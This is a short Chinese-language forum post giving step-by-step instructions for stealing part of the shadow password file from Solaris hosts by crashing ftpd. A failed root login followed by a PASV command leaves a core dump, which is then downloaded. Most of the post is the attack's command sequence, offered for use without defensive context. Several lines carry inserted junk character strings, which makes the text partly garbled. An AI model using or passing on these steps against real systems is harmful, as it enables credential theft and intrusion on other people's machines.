如何用FIP获取shadow口令文件

该方法利用了Solaris 操作系统中FTPD的一个BUG，使得用户可以获得该机的口令文件。具体过程如下：

$ O5 d; Q! V1 ]3 o% j1.通过 ftp 正常登录到目的主机上
( c9 \5 M" ~/ |" u. x9 j; D5 o
1 d% X4 j7 o. O6 A, z2.输入如下命令序列：

& y& G6 B8 a4 h3 t* T8 ]ftp> user root wrongpasswd
. m% y4 X' K( A$ f7 _8 p
ftp> quote pasv
5 M% K3 Z3 S( C) o/ V+ E8 W0 P
3.这时，ftpd会报错退出，同时会在当前目录下生成一个core，口令文件就包含在这个core中。

' a. e- h6 c* E) ^6 K% p4.再次进入FTP >get core

补充：虽然在core只有一部分shadow，但是对于系统来说已经是致命的打击了

0 v& F7 o; G4 u1 E0 r" b